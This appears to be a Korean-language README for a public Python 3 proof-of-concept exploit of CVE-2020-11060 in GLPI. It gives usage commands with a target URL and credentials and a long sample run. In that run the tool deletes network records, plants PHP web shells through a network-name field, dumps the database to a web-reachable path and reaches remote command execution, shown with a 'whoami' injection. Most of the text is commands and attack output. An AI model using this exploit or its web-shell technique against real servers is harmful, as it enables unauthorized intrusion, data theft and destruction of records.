CVE-2020-11060

이 스크립트는 GLPI 버전 0.85-9.4.5에서 CVE-2020-11060을 악용하기 위한 Python 3.x 기반 익스플로잇입니다.

Python3 리팩토링: n3rada

ExploitDB의 원본 PoC는 Python 2.x를 사용했기 때문에 더 이상 사용되지 않습니다. 새 버전이 제출되었으며, 승인되면 링크가 여기에 추가될 예정입니다. 이 PoC를 구축하는 데 사용된 원본 취약점 연구는 AlmondOffSec이 수행했으며, 여기에서 확인할 수 있습니다.

사용법

python3 CVE-2020-11060.py --url 'http://<target URL>' --user <'user'> --password <'password'> --platform <win/nix> --offset <#>

예제 출력

python3 CVE-2020-11060.py --url 'http://glpi.vul.ne' --user 'glpi_adm' --password 'Amvfd6565/432' --platform 'win' --offset 312

[+] GLPI Browser targeting 'http://glpi.vul.ne' ('windows') with following credentials: 'glpi_adm':'Amvfd6565/432'.
[+] Target is up and responding.
[+] User 'glpi_adm' is logged in.
------------------------- trial number 1 -------------------------
[*] Wiping networks...
        Deleting network id: 2413
[+] Network created
[+] Modifying network
        New ESSID: RCEe
[+] Current shellname: bQznfdTr.php
[*] Dumping the database remotely at: C:\xampp\htdocs\sound\bQznfdTr.php
[+] File 'dumped', accessible at: http://glpi.vul.ne/sound/bQznfdTr.php
[+] Shell size: 265
------------------------- trial number 2 -------------------------
[*] Wiping networks...
        Deleting network id: 2414
[+] Network created
[+] Modifying network
        New ESSID: RCEee
[+] Current shellname: HdqrmKtR.php
[*] Dumping the database remotely at: C:\xampp\htdocs\sound\HdqrmKtR.php
[+] File 'dumped', accessible at: http://glpi.vul.ne/sound/HdqrmKtR.php
[+] Shell size: 13882
------------------------- trial number 3 -------------------------
[*] Wiping networks...
        Deleting network id: 2415
[+] Network created
[+] Modifying network
        New ESSID: RCEeee
[+] Current shellname: dwmfIJgN.php
[*] Dumping the database remotely at: C:\xampp\htdocs\sound\dwmfIJgN.php
[+] File 'dumped', accessible at: http://glpi.vul.ne/sound/dwmfIJgN.php
[+] Shell size: 13885
------------------------- trial number 4 -------------------------
[*] Wiping networks...
        Deleting network id: 2416
[+] Network created
[+] Modifying network
        New ESSID: RCEeeee
[+] Current shellname: KmGsYHBw.php
[*] Dumping the database remotely at: C:\xampp\htdocs\sound\KmGsYHBw.php
[+] File 'dumped', accessible at: http://glpi.vul.ne/sound/KmGsYHBw.php
[+] Shell size: 8369
------------------------------------------------------------------
[+] RCE found after 4 trials!
[+] You can execute command remotely as: nt authority\network service@WIN03
[+] Run this tool again with the desired command to inject:
        python3 CVE-2020-11060.py --url 'http://glpi.vul.ne/sound/KmGsYHBw.php' --command 'desired_command_here'

그런 다음 다음과 같이 명령어를 자유롭게 실행할 수 있습니다:

python3 CVE-2020-11060.py --url 'http://glpi.vul.ne/sound/KmGsYHBw.php' --command 'whoami'

그러면 다음과 같은 응답이 반환됩니다:

[*] Response received from 'http://glpi.vul.ne/sound/KmGsYHBw.php':

nt authority\network service

cve-2020-11060-poc

인기